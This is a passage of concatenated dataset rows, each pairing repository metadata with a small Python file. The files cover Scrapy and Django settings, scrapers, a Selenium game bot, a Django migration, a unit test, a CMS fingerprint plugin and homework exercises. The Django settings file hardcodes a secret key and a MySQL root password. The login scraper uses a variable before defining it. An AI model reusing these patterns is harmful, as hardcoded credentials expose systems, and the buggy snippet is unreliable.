] | VIRUSPRIYANSHU.noreply@github.com |
4d126d85e30fa7bb412387830fb1f14121a82b39 | 13c8343875c21feba8275827b218deeee01f5b1f | /organizations/fsvps_ru/fsvps/settings.py | 03d2dd75a44866b43e62f0914fee836cc8c22df4 | [] | no_license | gadjimuradov/parsers | 3c92d89cfd437419afa589cf80e12b04e9302f88 | 93246cfbb09c1ea210113fc19898c286a4f6c4e6 | refs/heads/master | 2021-01-10T11:12:48.160942 | 2016-02-18T09:49:30 | 2016-02-18T09:49:30 | 51,927,178 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,977 | py | # -*- coding: utf-8 -*-
# Scrapy settings for fsvps project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# http://doc.scrapy.org/en/latest/topics/settings.html
# http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html
# http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html
BOT_NAME = 'fsvps'
SPIDER_MODULES = ['fsvps.spiders']
NEWSPIDER_MODULE = 'fsvps.spiders'
# Crawl responsibly by identifying yourself (and your website) on the user-agent
#USER_AGENT = 'fsvps (+http://www.yourdomain.com)'
# Configure maximum concurrent requests performed by Scrapy (default: 16)
#CONCURRENT_REQUESTS=32
# Configure a delay for requests for the same website (default: 0)
# See http://scrapy.readthedocs.org/en/latest/topics/settings.html#download-delay
# See also autothrottle settings and docs
#DOWNLOAD_DELAY=3
# The download delay setting will honor only one of:
#CONCURRENT_REQUESTS_PER_DOMAIN=16
#CONCURRENT_REQUESTS_PER_IP=16
# Disable cookies (enabled by default)
#COOKIES_ENABLED=False
# Disable Telnet Console (enabled by default)
#TELNETCONSOLE_ENABLED=False
# Override the default request headers:
#DEFAULT_REQUEST_HEADERS = {
# 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
# 'Accept-Language': 'en',
#}
# Enable or disable spider middlewares
# See http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html
#SPIDER_MIDDLEWARES = {
# 'fsvps.middlewares.MyCustomSpiderMiddleware': 543,
#}
# Enable or disable downloader middlewares
# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html
#DOWNLOADER_MIDDLEWARES = {
# 'fsvps.middlewares.MyCustomDownloaderMiddleware': 543,
#}
# Enable or disable extensions
# See http://scrapy.readthedocs.org/en/latest/topics/extensions.html
#EXTENSIONS = {
# 'scrapy.telnet.TelnetConsole': None,
#}
# Configure item pipelines
# See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html
ITEM_PIPELINES = {
'fsvps.pipelines.FsvpsPipeline': 300,
}
# Enable and configure the AutoThrottle extension (disabled by default)
# See http://doc.scrapy.org/en/latest/topics/autothrottle.html
# NOTE: AutoThrottle will honour the standard settings for concurrency and delay
#AUTOTHROTTLE_ENABLED=True
# The initial download delay
#AUTOTHROTTLE_START_DELAY=5
# The maximum download delay to be set in case of high latencies
#AUTOTHROTTLE_MAX_DELAY=60
# Enable showing throttling stats for every response received:
#AUTOTHROTTLE_DEBUG=False
# Enable and configure HTTP caching (disabled by default)
# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings
#HTTPCACHE_ENABLED=True
#HTTPCACHE_EXPIRATION_SECS=0
#HTTPCACHE_DIR='httpcache'
#HTTPCACHE_IGNORE_HTTP_CODES=[]
#HTTPCACHE_STORAGE='scrapy.extensions.httpcache.FilesystemCacheStorage'
| [
"dagdahzub@mail.ru"
] | dagdahzub@mail.ru |
64ed5d7bfd4bfda17cc9c0958f8cb60376f281f0 | e37b47f4e02ec493856f464c963d050de8042496 | /utils/sina.py | cec842ed05f7d30eb58be8071e6edc05543d8ac3 | [] | no_license | shootstar/parse_html_and_create_text | aae7679fab82fd601eed4d5d89351df3d1de9c9e | 768378f6105c382ea68c3b98b46c06692836dd96 | refs/heads/master | 2021-01-17T06:26:32.647849 | 2013-03-11T10:39:20 | 2013-03-11T10:39:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 721 | py | # -*- coding: utf-8 -*-
import urllib2
from base import CreateTextBase
class CreateText(CreateTextBase):
def __init__(self,*args,**kwargs):
super(CreateText,self).__init__(*args,**kwargs)
self.standard_url = "http://vip.book.sina.com.cn/book"
self.contain_word = "chapter"
self.contents_tag = 'p'
def split_url_for_links(self,candidate):
try:
_,book_id,num = candidate.split('_')
num = int(num.split('.')[0])
return [book_id,num]
except:
pass
def generate_url(self,num):
url = self.standard_url + urllib2.quote('/' + self.contain_word + '_' + self.book_id + '_' + str(num) + '.html')
return url | [
"takasehajime@000254-M.local"
] | takasehajime@000254-M.local |
80903b9a46052bd513d761af6d7a476b930d8f53 | 9ad59158041f6bcdecc56f3a424aacc4e891f6c2 | /find vowels.py | 780fced4c67143511a3c1a477aef3c1434c5e505 | [] | no_license | tarzanskills/homework | 1ddb65e340846bffdb326aa28353721650bcba42 | ef3ec5ad05eba02563e5af599805aa85c65d286a | refs/heads/master | 2020-07-20T20:58:33.742058 | 2019-09-20T03:53:21 | 2019-09-20T03:53:21 | 206,708,405 | 0 | 0 | null | 2019-09-22T18:01:25 | 2019-09-06T03:50:51 | Python | UTF-8 | Python | false | false | 215 | py | def Check_Vowels(string, vowels):
final = [each for each in string if each in vowels]
print(len(final))
print(final)
string = "pythonloopsareawesome"
vowels = "AaEeIiOoUu"
Check_Vowels(string, vowels); | [
"pankajsinghrathore9599@gmail.com"
] | pankajsinghrathore9599@gmail.com |
1a7818f50ec6122c58805eafaa26505a5d329819 | fcf71d8ed3a0d05750a0caba93f2f9cdb9ec0adc | /3.python/my_py_script/tools/prnFields.py | 8a96a2618eb374b08dcb63cf47d9b633cd79e69f | [] | no_license | handol/python_study | a6e6faeae2213a66b303524b57550c879c83c190 | 4d4cf3847c29ef363c1b8fd10bf2525d6f801ddd | refs/heads/master | 2021-01-10T21:20:31.140133 | 2013-03-28T06:30:16 | 2013-03-28T06:30:16 | null | 0 | 0 | null | null | null | null | UHC | Python | false | false | 1,558 | py | #!/usr/bin/env python
## -*- coding: EUC-KR -*-
# 'ํ๋ ์ถ๋ ฅ๊ธฐ'
# 2006. 11.21
import sys
result = []
def dealArg(field):
'argv๋ฅผ ์ฒ๋ฆฌํ์ฌ field number ๋ฅผ return ํด์ค๋ค.'
#if field.find(',') != -1:
newf = field.split(',')
length = len(newf)
for seq in newf:
if seq.find('-') != -1 and seq.find('-') != 0: # ๋ง์ฝ 5-8 ์ด ์๋ค๋ฉด
# -5, -8 ์ด ์๋๋ผ.
result.extend(range(int(seq[ 0 ]), int(seq[ 2 ]) + 1))
else:
result.append(int(seq))
#result.sort()
return result
def printField(filename, separator=' '):
'result ๋ฅผ ๋ฐํ์ผ๋ก ํน์ field๋ฅผ ํ๋ฆฐํธํ๋ค'
try:
fp = open(filename, 'r')
except:
print 'No exist file'
sys.exit(0)
for line in fp:
# line = line[ : -1 ] ####
if separator == ' ':
splitedline = line.split()
else:
splitedline = line.split(separator)
output = ""
#print 'splitline:', splitedline
tmp = len(result)
if len(splitedline) < result[ tmp - 1 ] and result[ tmp - 1 ] > 0:
print 'Field Number Overflowed:',
print line
continue
for num in result:
# join is faste is faster
if num < 0:
output = output + ' ' + splitedline[ num ]
else:
output = output + ' ' + splitedline[ num - 1 ]
print output
fp.close()
if __name__ == '__main__':
if len(sys.argv) == 3:
dealArg(sys.argv[2])
printField(sys.argv[1])
elif len(sys.argv) == 4:
dealArg(sys.argv[2])
printField(sys.argv[1], sys.argv[3])
else:
print 'Usuage: python prnFields.py input_file list_of_fields [separator]'
sys.exit(0)
| [
"jiinhan@iMac.local"
] | jiinhan@iMac.local |
c43c601d9c319c4172b38c26125a7f188914cf5d | 14a79f73f9c2923caf0e44070d61b30f330b4da2 | /curso/curso/settings.py | 7e35bc0ed1c63222fcd494eb9a4683a4c19f1be1 | [] | no_license | yandry0007/CURSO_DJANGO_V2 | 02519ad7e8b69948ec8da798e88d2f23788574ab | 1db4e901160e9f89629e7c28930ec267e898e89a | refs/heads/master | 2021-01-01T15:50:12.826086 | 2014-09-08T21:56:01 | 2014-09-08T21:56:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,053 | py | """
Django settings for curso project.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.6/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'xa+nsyx9pc&1)*wb=)@rh1ogo!=@@z1x*j76p%!zfyu2u$ws7t'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
TEMPLATE_DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = (
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'curso.apps.main',
)
MIDDLEWARE_CLASSES = (
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
)
ROOT_URLCONF = 'curso.urls'
WSGI_APPLICATION = 'curso.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.6/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'db_CURSO_DJANGO_V2',
'USER': 'root',
'PASSWORD': 'yandry',
'HOST': 'localhost',
'PORT': '3306',
}
}
# Internationalization
# https://docs.djangoproject.com/en/1.6/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.6/howto/static-files/
STATIC_URL = '/static/'
| [
"yampier--07@hotmail.com"
] | yampier--07@hotmail.com |
fc15afe78a41b4195ef27ea3c10123e00b8d6cbf | 95b4b08365f2b59b766fdbdd834a50aac3039c6a | /selenium-play/dummy_selenium.py | 542945bba52c11fd38e7015a6462e31ecbf13ebf | [] | no_license | codyowl/super-mario-ai | dcaf022c8ed84b83e37758d124f1d0478ae3060d | 0a8fafa8e42d299352e50d38f778cb0b6696e66f | refs/heads/master | 2022-04-28T08:25:31.619875 | 2020-04-26T11:13:34 | 2020-04-26T11:13:34 | 258,985,615 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,338 | py | from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.action_chains import ActionChains
import time
game_url = "https://mario.xpixv.com/"
class Game:
def __init__(self, game_url):
self.game_url = game_url
# launching the game on chrome with selenium
self._driver = webdriver.Chrome(ChromeDriverManager().install())
self._driver.get(game_url)
time.sleep(5)
self.actions = ActionChains(self._driver)
def move_right(self):
action_press_key_right_arrow = ActionChains(self._driver).key_down(Keys.ARROW_RIGHT)
action_press_key_right_arrow_release = ActionChains(self._driver).key_up(Keys.ARROW_RIGHT)
endtime = time.time() + 2.0
while True:
action_press_key_right_arrow.perform()
if time.time() > endtime:
action_press_key_right_arrow_release.perform()
break
def jump(self):
action_key_down_w = ActionChains(self._driver).key_down(Keys.SPACE)
action_key_up_w = ActionChains(self._driver).key_up(Keys.SPACE)
endtime = time.time() + 1.0
while True:
action_key_down_w.perform()
if time.time() > endtime:
action_key_up_w.perform()
break
game = Game(game_url)
game.move_right()
game.jump()
time.sleep(5)
game.jump()
game.jump()
game.jump()
game.jump()
| [
"codyowl@gmail.com"
] | codyowl@gmail.com |
b56f82d388afa9039ad78469f74241dcf2eee242 | e816514ecec2b04ffec7821c8eaa8dc6b806e43a | /unit_tests/test_tables.py | 17448273d56f46b01845ee5fe9878937fd604848 | [] | no_license | spacepy/dbprocessing | 0484fbacd6f83ebe27a15342ee500ce6efd925de | a0bf5e682fb917bb707b4f66787b0ecb860efce1 | refs/heads/main | 2023-04-06T21:54:07.416214 | 2022-09-21T17:25:06 | 2022-09-21T19:42:01 | 279,903,877 | 4 | 4 | null | 2023-08-18T16:53:21 | 2020-07-15T15:21:19 | Python | UTF-8 | Python | false | false | 2,879 | py | #!/usr/bin/env python
"""Unit test of table definitions
This is a few quick checks and particularly examining tricky stuff; testing
all the tables amounts to a check that SQLalchemy works rather than that
our definitions work.
"""
import os
import os.path
import shutil
import sqlite3
import tempfile
import unittest
import sqlalchemy
import sqlalchemy.inspection
import dbp_testing
import dbprocessing.tables
class TableDefnTests(unittest.TestCase):
"""Test table definitions"""
def setUp(self):
"""Create the test database"""
self.td = tempfile.mkdtemp()
self.engine = sqlalchemy.create_engine(
'sqlite:///{}'.format(os.path.join(self.td, 'test.sqlite')),
echo=False)
self.metadata = sqlalchemy.schema.MetaData(bind=self.engine)
def tearDown(self):
"""Delete test database"""
self.engine.dispose()
shutil.rmtree(self.td)
def makeTables(self, *tables):
"""Helper functions, makes all tables named in args, in that order
Parameters
----------
tables : list of str
names of tables to make
Returns
-------
dict
Created table objects, keyed by name
"""
created = {
name: sqlalchemy.schema.Table(
name, self.metadata, *dbprocessing.tables.definition(name))
for name in tables}
self.metadata.create_all()
actual = sqlalchemy.inspection.inspect(self.engine)\
.get_table_names()
self.assertEqual(sorted(tables), sorted(actual))
return created
def testFile(self):
"""Test file table definition"""
# file requires product requires instrument requires satellite
# requires mission
t = self.makeTables(
'file', 'product', 'instrument', 'satellite', 'mission')['file']
# Check that got desired columns (in order)
self.assertEqual(
['file_id', 'filename',
'utc_file_date', 'utc_start_time', 'utc_stop_time',
'data_level',
'interface_version', 'quality_version', 'revision_version',
'verbose_provenance', 'check_date', 'quality_comment', 'caveats',
'file_create_date',
'met_start_time', 'met_stop_time', 'exists_on_disk',
'quality_checked', 'product_id', 'shasum', 'process_keywords'],
[c.name for c in t.columns])
# Check all indices in place
self.assertEqual(
['ix_file_big',
'ix_file_data_level',
'ix_file_file_id',
'ix_file_filename',
'ix_file_utc_file_date',
'ix_file_utc_start_time',
'ix_file_utc_stop_time'],
sorted([i.name for i in t.indexes]))
if __name__ == "__main__":
unittest.main()
| [
"68342327+dnadeau-lanl@users.noreply.github.com"
] | 68342327+dnadeau-lanl@users.noreply.github.com |
be2b93c33be25f6345110ead784e94a94d879db8 | 2ef0c591562c1b1f21ad4b782767d7919a52770f | /apps/notification/migrations/0001_initial.py | e95274e8c021d1f03b38bea73820d2dd2972d24e | [] | no_license | TejasMalik/Posty-SocialMedia-Django | 1cf88b258fd8f7c3ac64f7554114172bda586cb6 | ead1aee8dec81c66c9e4f80383827551963ad4ef | refs/heads/main | 2023-01-31T07:57:48.060405 | 2020-12-18T12:27:10 | 2020-12-18T12:27:10 | 322,587,882 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,273 | py | # Generated by Django 3.1.4 on 2020-12-17 18:58
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Notification',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('notification_type', models.CharField(choices=[('message', 'Message'), ('follower', 'Follower'), ('like', 'Like'), ('mention', 'Mention')], max_length=20)),
('is_read', models.BooleanField(default=False)),
('created_at', models.DateTimeField(auto_now_add=True)),
('created_by', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='creatednotifications', to=settings.AUTH_USER_MODEL)),
('to_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='notifications', to=settings.AUTH_USER_MODEL)),
],
options={
'ordering': ['-created_at'],
},
),
]
| [
"tmalik8@dxc.com"
] | tmalik8@dxc.com |
315f402c1f3a2786ee65ffb6071062dd6c9da14c | d120650e747bf966c22c7b28f4aa3d9a4709abb0 | /String Matrices without OOP/functions.py | 70385561fce142c916943d91c66fd3ec875847b3 | [] | no_license | Evohunt/String_Matrices | 92cb58f796f344cadaff60334f0143611c6cdf7f | 41168e7c996f952475b5a7943c41b6a8eefe80a1 | refs/heads/master | 2021-09-05T05:49:12.080920 | 2018-01-24T15:25:55 | 2018-01-24T15:25:55 | 118,783,330 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,065 | py | # Function used to create a 2D Array of given size
# We take 2 given arguments and return the initialisation
# of a matrix with blank characters, the size of the matrix
# depending to the 2 given arguments(ints)
def create_matrix(width, heigth):
return [[""]*heigth for _ in range(width)]
# Function used to initialize a given 2D Array with strings entered by the user
# It iterates through the matrix, and the user is promted to enter a values
# to be entered in each position in the matrix
def read_matrix(new_matrix):
for i in range(len(new_matrix)):
for j in range(len(new_matrix[0])):
new_matrix[i][j] = input("matrix[{}][{}]: " .format(i, j))
print()
# Function used to print a given 2D Array
# It takes each row of the matrix and uses .join() with a " " separater
# to print the matrix in a more user-friendly way
def print_matrix(new_matrix):
for row in new_matrix:
print(" ".join(row))
# Function used to print the width and heigth of a given 2D Array
# It saves the required values in 2 variables and then it prints them
def print_size_of_matrix(new_matrix):
heigth = len(new_matrix)
width = len(new_matrix[0])
print ("Heigth: {}" .format(heigth))
print ("Width: {}" .format(width))
# Function used to add two 2D Arrays containing strings
# We iterate through the matrices at the same time concatenating elements with the
# same indices in a third matrix. At the end, the final matrix is returned
def add_matrix(first_matrix, second_matrix):
res = []
for i in range(len(first_matrix)):
row = []
for j in range(len(first_matrix[0])):
row.append(first_matrix[i][j] + second_matrix[i][j])
res.append(row)
return res
# Function used to check if a specific element is found in a given 2D Array
# It iterates through the matrix searching for an element. If the element
# is found the function will print it and break the searching operation.
# If the searching operation is concluded without finding the element the
# function will print an error message
def search_element(element, new_matrix):
OK = 0
for i in range(len(new_matrix)):
for j in range(len(new_matrix[0])):
if (new_matrix[i][j] == element):
OK = 1
print ("Found at coord: {} {}" .format(i, j))
break
if OK == 0:
print("Element {} not found." .format(element))
# Function used to edit a specific element from a given 2D Array
# It promts the user to enter the coordinates of the element they
# want to modify and after that to enter the new value for that elements
def modify_element(matrix):
row = int(input("Enter row: "))
column = int(input("Enter column: "))
new_element = input("Enter the new value: ")
matrix[row][column] = new_element
# Function used to multiply two given 2D Arrays
# Like normal matrix multiplication, we iterate through the lines of the
# first matrix and through the columns of the second matrix, converting the strings
# from the second matrix into ints according to the conversion rule, then we put the
# string from the first matrix multiplied by their specific numbers from the second
# matrix in a final matrix. At the end of the function we print that final matrix
def multiply_matrices(first_matrix, second_matrix, final_matrix):
for i in range(len(first_matrix)):
for j in range(len(second_matrix[0])):
k = 0
x = 0
word = ""
string = second_matrix[i][j]
for k in range(len(string)):
letter = string[k]
x = x * 10 + (ord(letter) - 97)
word = first_matrix[i][j]
for p in range(x):
final_matrix[i][j] = final_matrix[i][j] + word
print_matrix(final_matrix)
# Function used to lexicographically compare two given 2D Arrays
# We iterate through the 2 matrices at the same time, then iterate through each string from
# those matrices at the same time to check is they differ by a letter. If that is the case
# we return 1 or -1 depending on the comparison results. If the matrices are "equal" we return 0
def compare_matrices(first_matrix, second_matrix):
OK = 0
for i in range(len(first_matrix)):
for j in range(len(first_matrix[0])):
first_element = first_matrix[i][j]
second_element = second_matrix[i][j]
if len(first_element) > len(second_element):
maximum = len(first_element)
else:
maximum = len(second_element)
for x in range(maximum):
if ord(first_element[x]) > ord(second_element[x]):
OK = 1
return 1
break
elif ord(first_element[x]) < ord(second_element[x]):
OK = 1
return -1
break
if OK == 0:
return 0 | [
"noreply@github.com"
] | Evohunt.noreply@github.com |
957f45daf22d838308af27575a6eac3b935969d8 | 61673ab9a42f7151de7337608c442fa6247f13bb | /__scraping__/fantasy.premierleague.com/main-X.py | 413fb41341ba36afa72b4ff7f1c02fce538f1b35 | [
"MIT"
] | permissive | furas/python-examples | 22d101670ecd667a29376d7c7d7d86f8ec71f6cf | 95cb53b664f312e0830f010c0c96be94d4a4db90 | refs/heads/master | 2022-08-23T23:55:08.313936 | 2022-08-01T14:48:33 | 2022-08-01T14:48:33 | 45,575,296 | 176 | 91 | MIT | 2021-02-17T23:33:37 | 2015-11-04T23:54:32 | Python | UTF-8 | Python | false | false | 902 | py |
# author: https://blog.furas.pl
# date: 2020.07.10
# link: https://stackoverflow.com/questions/57403037/how-to-overcome-405-error-on-logging-in-a-site-from-python-requests/
import requests
from bs4 import BeautifulSoup
session = requests.Session()
#session.headers.update({'user-agent': 'Mozilla/5.0'})
login_url = "https://users.premierleague.com/accounts/login/"
# GET page with form
r = session.get(login_url, data=data)
soup = BeautifulSoup(r.content)
data = {
"login" : "your_login",
"password" : "your_password",
}
# get values from form (except empty places for login and pasword)
for item in soup.find_all('input'):
key = item['name']
value = item.get('value')
if value:
data[key] = value
#print(key, '=', value)
# POST form data to login
r = session.post(login_url, data=data)
# check if url is different
print(r.url)
print(r.url != login_url)
| [
"furas@tlen.pl"
] | furas@tlen.pl |
763c35beab612d36db9038d68bab78b437563296 | 1be963ccb4ce8e954cfaf2c8c86f58d09dc3a2da | /metaclasses/metaclass_decorator.py | 7386039bf6d3134e746ae1b81649c1b05bf561b4 | [] | no_license | BrainiacRawkib/Learning-Python | 3e3c6a55f440f85afe91fdea5d3df843fb5c18e6 | bb2832c7ecd43a973f6aa19041bcdcbabdddbbf0 | refs/heads/master | 2020-12-01T09:03:31.693686 | 2019-12-28T15:20:54 | 2019-12-28T15:20:54 | 230,597,442 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 921 | py | from types import FunctionType
from metaclasses.decotools import tracer
def decorate_all(decorator):
class MetaTrace(type):
def __new__(meta, clsname, supercls, clsdict):
for attr, attrval in clsdict.items():
print(attr, ': ', attrval)
if type(attrval) is FunctionType:
clsdict[attr] = decorator(attrval)
return type.__new__(meta, clsname, supercls, clsdict)
return MetaTrace
class Person(metaclass=decorate_all(tracer)):
def __init__(self, name, pay):
self.name = name
self.pay = pay
def give_raise(self, percent):
self.pay *= (1.0 + percent)
def last_name(self):
return self.name.split()[-1]
bob = Person('Bob Smith', 50000)
sue = Person('Sue Jones', 100000)
print(bob.name, sue.name)
sue.give_raise(.10)
print('%.2f' % sue.pay)
print(bob.last_name(), sue.last_name())
| [
"brainiacrawkib@gmail.com"
] | brainiacrawkib@gmail.com |
a01c7823f4fd48f4d4ed47f00f286e224777ec25 | ab2c27bd3e96f71552386b102938076df11f0901 | /ใ12ใ้ๅ่ฟ็ฎไธๅญๅ
ธ/01 ้ๅ่ฟ็ฎ/code.py | 097256424cd83deffb8fa259d562157a56244929 | [] | no_license | 1712825001/fullstack | 26b4ba0215093c2290af6d58c3a83ddeb1d66d16 | f933c37da37869dfc17bed9f402c82e9352554ec | refs/heads/master | 2020-11-25T17:39:44.300151 | 2019-12-04T03:06:41 | 2019-12-04T03:06:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 553 | py | # ๅนถ้
set1 = set(range(5))
set2 = set(range(4,9))
print(set1 | set2)
print(set2.union(set2))
print(set1 & set2)
# ้ๆบ็ๆ2็ปๅ10ไธชๆฐๅญ็ๅ่กจ๏ผๅฆไธ่ฆๆฑ๏ผ
# ๆฏไธชๆฐๅญๅๅผ่ๅด[10,20]
# ็ป่ฎก20ไธชๆฐๅญไธญ๏ผไธๅ
ฑๅคๅฐไธชไธๅ็ๆฐๅญ
# 2็ปไน้ด่ฟ่กๆฏ่พ๏ผไธ้ๅค็ๆฐๅญๆๅ ไธช
# 2็ปไน้ด่ฟ่กๆฏ่พ๏ผ้ๅค็ๆฐๅญๆๅ ไธช
a = [1,9,7,5,6,7,8,8,2,6]
b = [1,9,0,5,6,4,8,3,2,3]
s1 = set(a)
s2 = set(b)
print(s1)
print(s2)
print(s1.union(s2))
print(s1.symmetric_difference(s2))
print(s1.intersection(s2)) | [
"1054057238@qq.com"
] | 1054057238@qq.com |
55dd4bed524c3acbe15ec80cb9b7ef108a43e386 | 531be15b8a1cab57d268e7d16fc489d9af3dc63e | /quoteGenerator.py | cfad23b0d4b39fbf5b5a1d57e0de0d7d9955bf6f | [] | no_license | JChirolHill/QuothShe | 39457441cbe07e853eee7ecbd9aefa9ff781e8d7 | ea7c10673d48ec505d691085bb12aa17a21d9264 | refs/heads/master | 2020-05-05T10:01:09.453514 | 2019-04-08T18:31:22 | 2019-04-08T18:31:22 | 179,926,813 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,474 | py | import requests
import random
import os
fileOut = open("quote.txt", "a")
quoteList = []
fileOut = open("quote.txt", "r")
for line in fileOut:
# print(line)
line = line.strip()
quoteList.append(line)
buffer = []
bufferAuthors = []
# # returns a random hardcoded quote
# def getRandomQuote():
# # just for testing purposes, returns a quote
# quotes = ["Perhaps it's impossible to wear an identity without becoming what you pretend to be.", "In the moment when I truly understand my enemy, understand him well enough to defeat him, then in that very moment I also love him. I think itโs impossible to really understand somebody, what they want, what they believe, and not love them the way they love themselves. And then, in that very moment when I love them.... I destroy them.", "If you try and lose then it isn't your fault. But if you don't try and we lose, then it's all your fault.", "I don't care if I pass your test, I don't care if I follow your rules. If you can cheat, so can I. I won't let you beat me unfairly - I'll beat you unfairly first.", "Remember, the enemy's gate is down."]
# return random.choice(quotes)
# USES THE API VERSION OF GETTING QUOTES
def getRandomQuote():
if(len(buffer) == 0): # get a new set of quotes if none left in buffer
headers = {"Authorization": 'Token token=""'}
response = requests.get("https://favqs.com/api/quotes", headers=headers)
data = response.json()
allQuotes = data["quotes"]
for quoteItem in allQuotes:
buffer.append(quoteItem["body"])
bufferAuthors.append(quoteItem["author"])
return buffer.pop() + " (" + bufferAuthors.pop() + ")"
# Gets new quote and append to file
def newQuote():
likeQuote = ""
fileOut = open("quote.txt", "a")
while likeQuote != "3":
quote = getRandomQuote()
print("\n" + quote)
likeQuote = input("Do you like this quote? Please select an option:\n\t1. Go to the next quote \n\t2. Save and continue \n\t3. Return to main menu \n")
while likeQuote != "1" and likeQuote != "2" and likeQuote != "3":
print("Invalid input. Please try again :(")
likeQuote = input("Do you like the quote? Please select an option:\n\t1. Go to the next quote \n\t2. Save and continue \n\t3. Return to main menu \n")
if likeQuote == "2":
if quote in quoteList:
print("Already there!")
else:
print(quote, file = fileOut)
quoteList.append(quote)
print("Saved!")
fileOut.close()
# prints one quote at a time and loops until user goes back to main menu
def viewSaved():
choice = "1"
while choice != "3":
if choice != "1" and choice != "2":
print("Invalid input. Please try again :(")
choice = input("Please select an option: \n\t1. Next quote\n\t2. Delete this quote\n\t3. Return to main menu \n")
else:
if len(quoteList) == 0:
print("No saved quotes, please go find some :)")
break
for quote in quoteList:
print("\n" + quote)
choice = input("Please select an option: \n\t1. Next quote\n\t2. Delete this quote\n\t3. Return to main menu \n")
if choice == "2":
# deletes text file
os.remove("quote.txt")
quoteList.remove(quote)
# rewrite to the file based on our list
fileOut = open("quote.txt", "a")
for quote in quoteList:
print('wrote a quote')
print(quote, file = fileOut)
fileOut.close()
break;
elif choice == "3":
break
if choice == "3":
break
# displays the main menu
def main():
mainChoice = ""
while mainChoice != "3":
mainChoice = input("Please select an option: \n\t1. Get New Quotes\n\t2. View Saved Quotes\n\t3. Quit \n")
while mainChoice != "1" and mainChoice != "2" and mainChoice != "3":
print("Invalid input. Please try again :(")
mainChoice = input("Please select an option: \n\t1. Get New Quotes\n\t2. View Saved Quotes\n\t3.Quit \n")
if mainChoice == "1":
newQuote()
elif mainChoice == "2":
viewSaved()
print("Bye :)")
main()
| [
"chirolhi@usc.edu"
] | chirolhi@usc.edu |
daa6fac2e3e02d1a8b5e40f05b8823cb12750b1d | f329f3061e3a72b2562bb242dfe1a2ed07fe65f0 | /plugins/able_g2s_app.py | b8257b0c600424f544ead2985d84e255a00ce788 | [
"MIT"
] | permissive | ver007/getcms | 58263174355eb16bae95b74f6efaff5069b4ce56 | da03c07457abc266cacddc3ccd67126f0b03da3d | refs/heads/master | 2021-01-19T07:01:51.453626 | 2016-04-13T08:28:14 | 2016-04-13T08:28:14 | 56,134,430 | 0 | 0 | null | 2016-04-13T08:27:38 | 2016-04-13T08:27:38 | null | UTF-8 | Python | false | false | 152 | py | #!/usr/bin/env python
# encoding: utf-8
def run(whatweb, pluginname):
whatweb.recog_from_file(pluginname, "G2S/js/opendiv/login.js", "LoginForm")
| [
"hackerlq@gmail.com"
] | hackerlq@gmail.com |
9f1097a959476d9eb0f38e6a8b16758b86a83859 | 64de1bcff4c7d343ec38e1528978d9f53f811110 | /package_ui.py | 0cf871d1d0548060734ec1407f8823968a1d57e8 | [] | no_license | zhifeigithub/unity_package_tool | 50c3ab234bc8992eef7bd5fae28974c2363717c6 | ed48adb5d856c86517c285575b8772376f15e612 | refs/heads/master | 2021-01-18T21:06:53.463314 | 2017-11-02T14:33:53 | 2017-11-02T14:33:53 | 100,553,361 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,865 | py | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'C:\Users\SzoFiel\Desktop\ๆๅ
่ชๅจๅ\PyCharmPrj\PyQt\package_ui.ui'
#
# Created by: PyQt5 UI code generator 5.6
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName("MainWindow")
MainWindow.resize(450, 790)
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setObjectName("centralwidget")
